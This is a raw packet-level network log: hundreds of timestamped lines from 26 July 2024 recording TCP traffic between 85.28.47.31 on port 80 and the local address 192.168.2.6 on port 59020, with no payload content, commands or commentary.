Jul 26, 2024 13:49:26.403362036 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.403374910 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.403527975 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.403539896 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.403551102 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.403562069 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.403573990 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.403585911 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.403867006 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.403877974 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.403888941 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.403901100 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.403912067 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.403922081 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.403932095 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.404242992 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.404254913 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.404264927 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.404275894 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.404287100 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.404297113 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.404308081 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.404319048 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.404333115 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.404671907 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.404683113 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.404694080 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.404851913 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.404978037 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.404989004 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.404999018 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.405011892 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.405024052 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.405035019 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.405045033 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.405055046 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.405066013 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.405076981 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.405087948 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.405098915 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.405108929 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.405119896 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.405132055 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.405141115 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.405553102 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.405563116 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.405574083 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.405585051 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.405596018 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.405606985 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.405618906 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.405633926 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.405915976 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.405927896 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.405940056 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.405951023 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.405961990 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.405972004 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.405983925 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.406275988 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.406286955 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.406296968 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.406306982 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.406316996 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.406328917 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.406339884 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.406349897 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.406353951 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:26.406362057 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.406372070 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.406383038 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.406394005 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.406407118 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.406415939 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.407001972 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.407042027 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.407054901 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.407191038 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.407202005 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.407212973 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.407223940 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.407354116 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.407365084 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.407377005 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.407387972 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.407665968 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.407677889 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.407689095 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.407701015 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.407711029 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.407721043 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.407732010 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.407742977 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.407752991 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.408279896 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.408298016 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.408308983 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.408318996 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.408329964 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.408340931 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.408351898 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.408363104 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.408373117 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.408384085 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.408395052 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.408405066 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.408415079 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.408425093 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.408436060 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.413450956 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:26.414695024 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:26.414695024 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:26.414767027 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:26.414767027 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:26.414838076 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:26.414838076 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:26.414954901 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:26.415334940 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:26.415404081 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:26.415404081 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:26.490663052 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.490685940 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.490701914 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.490714073 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.490725994 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.490736961 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.490750074 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.490762949 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.491019011 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.491029978 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.491041899 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.491259098 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.491292000 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.491323948 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.491358042 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.491391897 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.491420984 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.491534948 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.491610050 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.491641998 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.491673946 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.491705894 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.491738081 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.491770983 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.491806984 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.492088079 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.492120981 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.492151976 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.492183924 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.492217064 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.492428064 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.492460012 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.492522001 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.492553949 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.492587090 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.492620945 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.492651939 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.492690086 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.492722034 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.492753983 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.492785931 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.492825985 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.492857933 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.492891073 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.492922068 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.492954969 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.492990017 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.493379116 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.493417025 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.493448973 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.493480921 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.493513107 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.493545055 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.493577003 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.493616104 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.493654013 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.493685961 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.493719101 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.493751049 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.493783951 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.493819952 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.494129896 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.494163036 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.494195938 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.494230032 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.494266987 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.494298935 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.494329929 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.494362116 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.494394064 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.494426012 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.494458914 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.494489908 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.494523048 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.494554996 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.494589090 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.494729996 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.494764090 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.494801998 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.494837999 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.494872093 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.495127916 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.495160103 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.495193958 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.496239901 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:26.497911930 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:26.497911930 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:26.497961998 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:26.497961998 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:26.497968912 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.498013020 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:26.498013020 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:26.498059034 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:26.498059034 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:26.498070002 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.498083115 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.498168945 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:26.498183966 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.498198986 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.498209953 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.498223066 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.498239994 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:26.498281002 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:26.498383999 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.498394966 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.498405933 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.498416901 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.498426914 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.498437881 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.498450041 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.498455048 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:26.498455048 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:26.498567104 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:26.498820066 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.498831987 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.498842001 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.498852968 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.498862982 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.498873949 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.498886108 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.498891115 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:26.498891115 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:26.498898029 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.498931885 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:26.498931885 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:26.499340057 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.499351025 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.499361992 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.499372959 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.499383926 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.499393940 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.503266096 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:26.580670118 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.580688953 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.580708981 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.580719948 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.580732107 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.580743074 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.580754995 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.580765963 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.580776930 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.580787897 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.580800056 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.580811024 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.580821991 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.580832005 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.580842972 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.580853939 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.580867052 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.580882072 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.580892086 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.580902100 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.580913067 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.580924034 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.580934048 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.580945015 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.580955029 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.580965996 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.580976009 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.580986977 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.581017017 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.581027985 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.581038952 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.581051111 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.581062078 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.581073046 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.581084013 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.581260920 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:26.581260920 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:26.581290007 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:26.581299067 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:26.584011078 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.584023952 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.584033966 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.584044933 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.584057093 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.584068060 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.584079027 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.584080935 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:26.584091902 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.584103107 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.584114075 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.584157944 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:26.584182024 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.584196091 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.584208012 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.584213018 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:26.584309101 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.584320068 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.584333897 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.584338903 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.584533930 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.584544897 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.584556103 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.584750891 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.584763050 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.584774017 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.584777117 CEST	59020	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:26.584785938 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.584798098 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.584809065 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.584819078 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.584830046 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.585134029 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.585144997 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.585155964 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.585165977 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.585176945 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.585186958 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.585197926 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.585227013 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.585237980 CEST	80	59020	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:26.585247993 CEST	80	59020	85.28.47.31	192.168.2.6
